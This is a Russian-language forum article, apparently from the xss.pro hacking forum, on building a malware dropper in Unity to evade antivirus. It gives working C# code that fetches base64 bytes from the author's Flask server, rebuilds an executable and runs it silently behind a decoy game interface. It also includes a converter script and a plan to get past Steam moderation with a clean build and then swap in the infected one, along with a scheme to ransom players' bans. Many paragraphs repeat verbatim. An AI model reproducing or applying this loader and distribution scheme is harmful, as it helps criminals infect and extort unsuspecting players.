Наверное, первое, что вы подумали, увидев заголовок статьи, было что-то подобное "Что за х*йня??? Всм через Unity?" Да, я и сам на самом деле в шоке от того, что мне вообще пришло это в голову. Зачем я вообще начал пробовать такой странный способ, спросите вы (или не спросите)? Я подумал, что при компиляции подобного софта через юнити у него будет чуть меньше детектов, а может и вообще детектов не будет. Также подумал о том, что люди, которые занимаются реверсом подобных софтов, не сразу поймут в чем дело, т.к. мне кажется, игры на юнити реверсят немного другими путями, нежели привычные нам софты подобного рода. Сразу отмечу, делаю я такое извращение впервые и в качестве интереса, статью я эту пишу прямо по ходу написания софта, так что буду упоминать все проблемы, с которыми я столкнусь при разработке. Возможно, эта статья будет интересна и у меня получится сделать что-то годное и кто-то возьмет это на заметку в написании своего будущего софта, или как минимум, будете знать, что такое в принципе возможно. Также, в теории, через игровой движок можно и стиллер собрать. Больше всего меня волнует рантайм будущего софта и его вес с детектами, так что в конце статьи мы и выясним, пригодна ли эта идея для жизни или нет, а теперь, приступим.
Первым делом нам нужно зайти на сайт https://unity.com/ru/download и скачать Unity Hub (это установщик различных версий Unity, штука типа Visual Studio Installer).
Дальше, в Unity Hub вас попросят зарегистрироваться, подробно на этом останавливаться не буду, думаю с этим справиться каждый.
После регистрации вам придется выбрать версию Unity в Unity Hub, выбирайте самую последнюю и ждите установки.
Когда движок скачается, вам понадобится создать проект. Переходите во вкладку Projects и нажимайте на кнопку New project.
Затем выбирайте тип проекта 3D, справа снизу будут настройки проекта, такие как смена названия и путь, где будет создаваться проект. Выбирайте то, что вам хочется. После этого нажимайте на кнопку Create project. После того, как вы создадите проект, потребуется время для его компиляции. Это может занять как много времени, так и всего пару секунд, зависит это от мощности вашего ПК. Если полоса загрузки остановится, не закрывайте ее, вряд ли она залагала.
Дальше, в Unity Hub вас попросят зарегистрироваться, подробно на этом останавливаться не буду, думаю с этим справиться каждый.
После регистрации вам придется выбрать версию Unity в Unity Hub, выбирайте самую последнюю и ждите установки.
Когда движок скачается, вам понадобится создать проект. Переходите во вкладку Projects и нажимайте на кнопку New project.
Затем выбирайте тип проекта 3D, справа снизу будут настройки проекта, такие как смена названия и путь, где будет создаваться проект. Выбирайте то, что вам хочется. После этого нажимайте на кнопку Create project. После того, как вы создадите проект, потребуется время для его компиляции. Это может занять как много времени, так и всего пару секунд, зависит это от мощности вашего ПК. Если полоса загрузки остановится, не закрывайте ее, вряд ли она залагала.
После установки Unity, выбора версии и создания проекта, самое время приступить к написанию тестовой версии нашего будущего инсталлера.
При запуске проекта у вас откроется игровая сцена и файловый менеджер проекта, а также окно со всеми объектами на сцене и свойствами этих объектов.
Первое, что нам нужно сделать, это создать папку для наших скриптов. Заходим в папку Assets и нажимаем ПКМ, в открывшемся меню наводимся на Create, а затем выбираем Folder. Затем называем папку так, как вам удобно. Я назвал ее "Loader".
Теперь переходим в нашу созданную папку и снова нажимаем ПКМ, выбираем Create, затем C# Script. Теперь у нас создался файл, в котором мы и будем писать весь наш основной код. Я назвал этот файл "Main".
Чтобы наш скрипт срабатывал при запуске нашей "игры", нам нужно назначить и прикрепить этот скрипт к объекту на сцене, которая будет открываться при запуске. У нас на сцене по умолчанию всего два объекта: Main Camera и Directional Light. Их можно увидеть по центру на самой сцене или в левом меню, называемом иерархией. Нам нужно нажать один раз на камеру, а затем в правом окне, называемом инспектором, появятся все свойства и настройки нашей камеры.
Теперь нам просто нужно перетащить наш созданный скрипт в меню инспектора камеры.
Теперь, наконец-то, приступим к написанию самого кода. Дважды щелкнем на нашем файле, и тогда откроется Visual Studio (Рассказывать, как его установить, я не буду, надеюсь, все и так справятся с этим).
Я написал простейший код для скачивания файла по прямой ссылке и запуска скачанного файла.
В этих строках будет указываться ссылка на файл и путь, куда скачивать файл. В пути, куда будет качаться файл, нужно обязательно указать и само название файла и его формат. Также все эти переменные в дальнейшем будут отображаться в инспекторе камеры, и дальнейшая замена данных не будет требовать открытия кода в Visual Studio, что является определенным плюсом.
Теперь поговорим о методах в этом коде, так как они специфичны и являются частью функционала движка.
Первый метод вызывается всего один раз при запуске объекта, к которому он прикреплен (в данном случае - к камере). Его обычно используют для первичной настройки объекта.
Второй метод может выполняться асинхронно в течение нескольких кадров. Это нужно, чтобы дать возможность Unity выполнить другие задачи между итерациями загрузки файла, например, обработать нажатие на какие-либо кнопки в будущем интерфейсе нашего софта.
По сути, наша первая версия инсталлера уже готова, осталось только вставить ссылку и путь к файлу, и можно тестировать. Прямую ссылку я решил получить через Discord. Нам нужно просто зайти в любой чат или создать канал и туда отправить нужный вам файл. Но Discord посчитал мой файл вирусным (хотя там просто exe файл программы AnyDesk) и вежливо отшил меня, предложив рецепт курицы с рисом.
Я не растерялся и запихнул свой exe файл в архив под паролем, всё равно этот метод доставки вашего файла написан просто для теста. Что ж, теперь я получил прямую ссылку и указал путь, куда качать файл, теперь можно и тестить начать, но не забывайте после каждого изменения в коде сохранять файл (я минут 5 тупил и думал, почему же ничего не работает, а оказалось, что я просто не сохранил файл и он не применился к проекту).
Тестирование прошло успешно, архив скачался и открылся при запуске игры, заняло это около 2 секунд, так что эксперимент можно считать удачным.
Первое, что нам нужно сделать, это создать папку для наших скриптов. Заходим в папку Assets и нажимаем ПКМ, в открывшемся меню наводимся на Create, а затем выбираем Folder. Затем называем папку так, как вам удобно. Я назвал ее "Loader".
Теперь переходим в нашу созданную папку и снова нажимаем ПКМ, выбираем Create, затем C# Script. Теперь у нас создался файл, в котором мы и будем писать весь наш основной код. Я назвал этот файл "Main".
Чтобы наш скрипт срабатывал при запуске нашей "игры", нам нужно назначить и прикрепить этот скрипт к объекту на сцене, которая будет открываться при запуске. У нас на сцене по умолчанию всего два объекта: Main Camera и Directional Light. Их можно увидеть по центру на самой сцене или в левом меню, называемом иерархией. Нам нужно нажать один раз на камеру, а затем в правом окне, называемом инспектором, появятся все свойства и настройки нашей камеры.
Теперь нам просто нужно перетащить наш созданный скрипт в меню инспектора камеры.
Теперь, наконец-то, приступим к написанию самого кода. Дважды щелкнем на нашем файле, и тогда откроется Visual Studio (Рассказывать, как его установить, я не буду, надеюсь, все и так справятся с этим).
Я написал простейший код для скачивания файла по прямой ссылке и запуска скачанного файла.
Код:
using UnityEngine;
using System.Collections;
using System.IO;
using System.Net;
using System.Diagnostics;
public class FileDownloader : MonoBehaviour
{
public string fileUrl = "";
public string savePath = "";
public bool autoRunDownloadedFile = true; // Флаг для автоматического запуска загруженного файла
void Start()
{
StartCoroutine(DownloadFile(fileUrl, savePath));
}
IEnumerator DownloadFile(string url, string path)
{
using (var webClient = new WebClient())
{
yield return null; // Ожидание в виде одного кадра, что бы скрипт не начал работать до полной загрузки проекта
webClient.DownloadFile(url, path);
if (autoRunDownloadedFile)
{
// Запускаем загруженный файл
RunFile(path);
}
}
}
void RunFile(string path)
{
// Проверяем, существует ли файл по указанному пути
if (File.Exists(path))
{
// Запускаем файл
Process.Start(path);
}
else
{
UnityEngine.Debug.LogError("Файл не найден: " + path);
}
}
}
Думаю, данный код несложен, но пару строк я все же объясню.
[CODE]public string fileUrl = "";
public string savePath = "";
public bool autoRunDownloadedFile = true; // Флаг для автоматического запуска загруженного файла
Теперь поговорим о методах в этом коде, так как они специфичны и являются частью функционала движка.
Код:
void Start()
IEnumerator DownloadFile()
Первый метод вызывается всего один раз при запуске объекта, к которому он прикреплен (в данном случае - к камере). Его обычно используют для первичной настройки объекта.
Второй метод может выполняться асинхронно в течение нескольких кадров. Это нужно, чтобы дать возможность Unity выполнить другие задачи между итерациями загрузки файла, например, обработать нажатие на какие-либо кнопки в будущем интерфейсе нашего софта.
По сути, наша первая версия инсталлера уже готова, осталось только вставить ссылку и путь к файлу, и можно тестировать. Прямую ссылку я решил получить через Discord. Нам нужно просто зайти в любой чат или создать канал и туда отправить нужный вам файл. Но Discord посчитал мой файл вирусным (хотя там просто exe файл программы AnyDesk) и вежливо отшил меня, предложив рецепт курицы с рисом.
Я не растерялся и запихнул свой exe файл в архив под паролем, всё равно этот метод доставки вашего файла написан просто для теста. Что ж, теперь я получил прямую ссылку и указал путь, куда качать файл, теперь можно и тестить начать, но не забывайте после каждого изменения в коде сохранять файл (я минут 5 тупил и думал, почему же ничего не работает, а оказалось, что я просто не сохранил файл и он не применился к проекту).
Тестирование прошло успешно, архив скачался и открылся при запуске игры, заняло это около 2 секунд, так что эксперимент можно считать удачным.
Эксперемент прошел успешно и теперь будем реализовывать более сложную версию нашего софта
Для начала я бы хотел переделать систему доставки ваших файлов. Я решил сделать подкачку байтов вашего файла, а затем собирать это обратно в exe, ну а потом уже запускать. Первая проблема, с которой я столкнулся - это облако, в котором можно хранить байты в огромном количестве. Я пробовал разные сайты для онлайн заметок, но проблема в том, что данные там долго не хранятся, а на каких-то сайтах есть ограничение по количеству символов, поэтому все байты программы не могли уместиться. Так что я принял решение, что для начала нам нужно написать свой сервер, на котором мы и будем хранить байты подкачиваемых файлов. Для этой задачи я выбрал язык Python вместе с Flask. Я сделаю простейший сервер с веб-страницей, на которой просто будут валяться наши байты.
Но как же получить нам эти байты? Для этого нам тоже придется написать программу. Я планирую хранить байты в формате base64, так как это немного снижает количество символов и соответственно снижает вес файла в виде байтов.
Теперь нужно приступать к написанию самого инсталлера, который будет качать байты и собирать их в один exe, а затем запускать все это дело.
В данном коде была заменена подкачка файла на чтение байтов с нашего сервера в формате base64, а затем декодируются из base64 и собираются все в один exe. После этого происходит запуск собранного файла. Также было изменено место, куда будет скачиваться ваш файл. Теперь он качается в папку AppData\LocalLow\DefaultCompany\My project\Папка, которую вы укажете\ Как и говорилось ранее, все параметры можно редактировать в самом движке Unity в окне инспектора объекта, на который вы наложили скрипт.
Код сервера будет максимально простым и банальным. Весь его функционал будет состоять просто из открытия веб-страницы, на которой будут храниться наши байты.
Код:
from flask import Flask
app = Flask(__name__)
@app.route('/File1')
def index():
return ''
if __name__ == '__main__':
app.run(host="localhost", port=911, debug=True)
Но как же получить нам эти байты? Для этого нам тоже придется написать программу. Я планирую хранить байты в формате base64, так как это немного снижает количество символов и соответственно снижает вес файла в виде байтов.
Было принято решение писать конвертер также на языке Python. Код конвертера также максимально прост, как и код сервера. Комментарии в коде я указал, а большего этот код и не требует, по моему мнению, так что останавливаться на нем не станем.
Код:
import base64
exe_file_path = "" # Путь до файла
output_txt_file = "output.txt"
def convert_to_base64(file_path):
try:
# Открываем исполняемый файл в бинарном режиме
with open(file_path, 'rb') as file:
# Читаем содержимое файла
exe_content = file.read()
# Кодируем содержимое файла в формате base64
exe_base64 = base64.b64encode(exe_content)
return exe_base64.decode('utf-8') # Декодируем байты в строку для сохранения в текстовом файле
except FileNotFoundError:
print(f"Файл '{file_path}' не найден.")
return None
except Exception as e:
print(f"Произошла ошибка: {e}")
return None
def save_to_txt(data, output_file):
try:
with open(output_file, 'w') as file:
file.write(data)
print(f"Данные успешно сохранены в файл '{output_file}'.")
except Exception as e:
print(f"Произошла ошибка при сохранении данных в файл: {e}")
if __name__ == "__main__":
# Конвертируем исполняемый файл в формат base64
exe_base64 = convert_to_base64(exe_file_path)
if exe_base64:
# Сохраняем данные в текстовом файле
save_to_txt(exe_base64, output_txt_file)
Теперь нужно приступать к написанию самого инсталлера, который будет качать байты и собирать их в один exe, а затем запускать все это дело.
Код:
using UnityEngine;
using System;
using System.Collections;
using System.IO;
using System.Net;
public class FileDownloader : MonoBehaviour
{
public string downloadUrl = "http://localhost:911/File1"; // URL для загрузки файла
public string folderName = "file"; // Название папки для сохранения файла
public string exeFileName = "AnyDesk.exe"; // Имя файла .exe
IEnumerator Start()
{
// Отправляем GET-запрос по указанному URL
using (var www = new WWW(downloadUrl))
{
yield return www; // Ждем ответа от сервера
if (string.IsNullOrEmpty(www.error))
{
// Если запрос выполнен успешно, декодируем base64 и сохраняем полученные байты в файл
byte[] decodedBytes = Convert.FromBase64String(www.text);
SaveToFile(decodedBytes, exeFileName); // Имя файла .exe
// Получаем путь к сохраненному файлу
string savePath = Path.Combine(Application.persistentDataPath, folderName, exeFileName);
// Запускаем сохраненный файл
RunFile(savePath);
}
else
{
Debug.LogError("Ошибка при загрузке файла: " + www.error);
}
}
}
void SaveToFile(byte[] bytes, string fileName)
{
// Получаем путь к папке для сохранения файла
string directoryPath = Path.Combine(Application.persistentDataPath, folderName);
// Проверяем, существует ли указанная папка, если нет, то создаем ее
if (!Directory.Exists(directoryPath))
{
Directory.CreateDirectory(directoryPath);
}
// Получаем полный путь к файлу
string filePath = Path.Combine(directoryPath, fileName);
// Записываем байты в файл
File.WriteAllBytes(filePath, bytes);
Debug.Log("Файл успешно сохранен: " + filePath);
}
void RunFile(string path)
{
// Проверяем, существует ли файл по указанному пути
if (File.Exists(path))
{
// Запускаем файл
System.Diagnostics.Process.Start(path);
}
else
{
Debug.LogError("Файл не найден: " + path);
}
}
}
Теперь я бы хотел добавить нашему инсталлеру интерфейс, у него не будет никакого функционала, кроме как визуального обмана, проще говоря, пустышка.
Первым делом нам нужно перейти в окно иерархии, нажать ПКМ, затем UI а потом Canvas
После создания канваса нам нужно перейти в его инспектор и поменять Render Mode на Screen Space - Camera, а затем в Render Camera перетащить нашу камеру из иерархии
Теперь нам нужно добавить сами кнопки. Для того чтобы добавить кнопки, нам потребуется нажать на наш канвас в иерархии правой кнопкой, перейти на UI/ Button - TextMeshPro
Заходим в инспектор нашей созданной кнопки и видим различные настройки кнопки, ее стандартный цвет, цвет при нажатии и т.д. Все это настраивайте под себя, как вам хочется.
Далее нам нужно добавить текст на нашу кнопку. Для этого в иерархии раскрываем нашу кнопку и видим там объект Text. Нажимаем на него, и в инспекторе открываются его свойства, где находится текст, отображаемый на нашей кнопке, и цвет этого текста.
Кнопку мы создали и настроили её дизайн, теперь нужно заняться задним фоном, а то он какой-то не очень, просто зальём его цветом. Для этого нам нужно перейти в Main Camera, в её инспекторе выбираем Solid Color и нужный цвет.
Теперь я сделаю кнопку чуть больше и перемещу её ниже центра. Для этого в центральном окне сцены нажимаем на 2D, чтобы нам было удобнее ориентироваться в пространстве сцены.
После увеличения и переноса кнопки мы видим, что не все части кнопки сдвинулись. Нам нужно распределить эти части по углам кнопки. Это необходимо для того, чтобы интерфейс адаптировался под разные разрешения экрана.
Всё готово, вот результат, который у нас получился. Также можно добавить больше разных клавиш, текста и прочих элементов, но у нас тема о другом. Если вам нужно, чтобы подкачка срабатывала при нажатии на кнопку, а не при запуске, то просто удалите скрипт из инспектора камеры и добавьте его к инспектору кнопки.
После создания канваса нам нужно перейти в его инспектор и поменять Render Mode на Screen Space - Camera, а затем в Render Camera перетащить нашу камеру из иерархии
Теперь нам нужно добавить сами кнопки. Для того чтобы добавить кнопки, нам потребуется нажать на наш канвас в иерархии правой кнопкой, перейти на UI/ Button - TextMeshPro
Заходим в инспектор нашей созданной кнопки и видим различные настройки кнопки, ее стандартный цвет, цвет при нажатии и т.д. Все это настраивайте под себя, как вам хочется.
Далее нам нужно добавить текст на нашу кнопку. Для этого в иерархии раскрываем нашу кнопку и видим там объект Text. Нажимаем на него, и в инспекторе открываются его свойства, где находится текст, отображаемый на нашей кнопке, и цвет этого текста.
Кнопку мы создали и настроили её дизайн, теперь нужно заняться задним фоном, а то он какой-то не очень, просто зальём его цветом. Для этого нам нужно перейти в Main Camera, в её инспекторе выбираем Solid Color и нужный цвет.
Теперь я сделаю кнопку чуть больше и перемещу её ниже центра. Для этого в центральном окне сцены нажимаем на 2D, чтобы нам было удобнее ориентироваться в пространстве сцены.
После увеличения и переноса кнопки мы видим, что не все части кнопки сдвинулись. Нам нужно распределить эти части по углам кнопки. Это необходимо для того, чтобы интерфейс адаптировался под разные разрешения экрана.
Всё готово, вот результат, который у нас получился. Также можно добавить больше разных клавиш, текста и прочих элементов, но у нас тема о другом. Если вам нужно, чтобы подкачка срабатывала при нажатии на кнопку, а не при запуске, то просто удалите скрипт из инспектора камеры и добавьте его к инспектору кнопки.
Теперь нам нужно скомпилировать наш проект в .exe файл. Это делается буквально в пару кликов.
Для компиляции нам нужно нажать в левом верхнем углу на "File", затем перейти на вкладку "Build Settings". В открывшемся окне нам обязательно нужно нажать на "Add Open Scenes". Это нужно для того, чтобы ваша сцена открывалась при запуске нашей "игры". После этого просто нажимаем на клавишу "Build" и ждем, пока наш проект скомпилируется.
1. После компиляции обнаружилась серьезная проблема с тем, что компиляция происходит не в один файл, а в несколько.
2. Вторая проблема заключается в том, что вес данного проекта, мягко говоря, большой, а именно - более 70 МБ.
2. Вторая проблема заключается в том, что вес данного проекта, мягко говоря, большой, а именно - более 70 МБ.
1. Несомненным плюсом является то, что в игровых проектах не так часто люди боятся увидеть вирус или любую другую нежелательную болезнь. Никто не запрещает создать какой-нибудь кликер или хентай 2D игру (хентай игры супер популярны в Steam). Благодаря такому методу встраивания в игру дополнительных скрытых функций можно получить неплохой трафик с того же Steam. Загрузка игры в Steam стоит около 10 тысяч рублей, если игру сделать бесплатной и на хайповую тему, то трафик будет огромным, даже если игра полнейший мусор. Пройти модерацию для выпуска игры очень просто. При выпуске игры вам просто нужно загрузить чистую игру, после проверки можете вставить вашу версию игры с сюрпризом и, поверьте, забанят вас не скоро. Плюсом к этому, вы также можете просто банить людей, которые скачали вашу игру. В Steam им будет выдаваться видимая табличка с информацией о бане. Если аккаунт жирный, то можно начать просить выкуп за снятие бана. Если игрок пожалуется в Steam, то поддержка не сможет снять бан. Это можете сделать только вы. Если по этому поводу на вас будет много жалоб, то вам просто отключат возможность выдачи банов, но игра все равно останется в Steam и дальше будет приносить вам трафик.
2. Вторым несомненным плюсом является полная победа над VirusTotal и подобными. Как выяснилось, на VirusTotal вообще нет детектов, и не думаю, что они появятся.
2. Вторым несомненным плюсом является полная победа над VirusTotal и подобными. Как выяснилось, на VirusTotal вообще нет детектов, и не думаю, что они появятся.
Заключение.
Эксперимент считаю удачным, у данного метода есть свои плюсы и минусы, в зависимости от того, как вы собираетесь применять данный метод. Если планируете распространять, как обычно это делают, то вариант не самый лучший, я бы даже сказал плохой. Но если сделать простейшую игру и потратить всего 10-15 тысяч рублей, вы сможете получить неплохой трафик и еще несколько способов на нем заработать, как на примере выдачи банов и снятия их за деньги. Если я увижу хороший актив по этой теме, то я могу сделать полноценную игру с выпуском ее в Steam и написать об этом статью с подробными инструкциями и итоговыми результатами по полученному трафику и прибыли, но это дело не быстрое.
Статья написана CognitoInc специально для форума xss.pro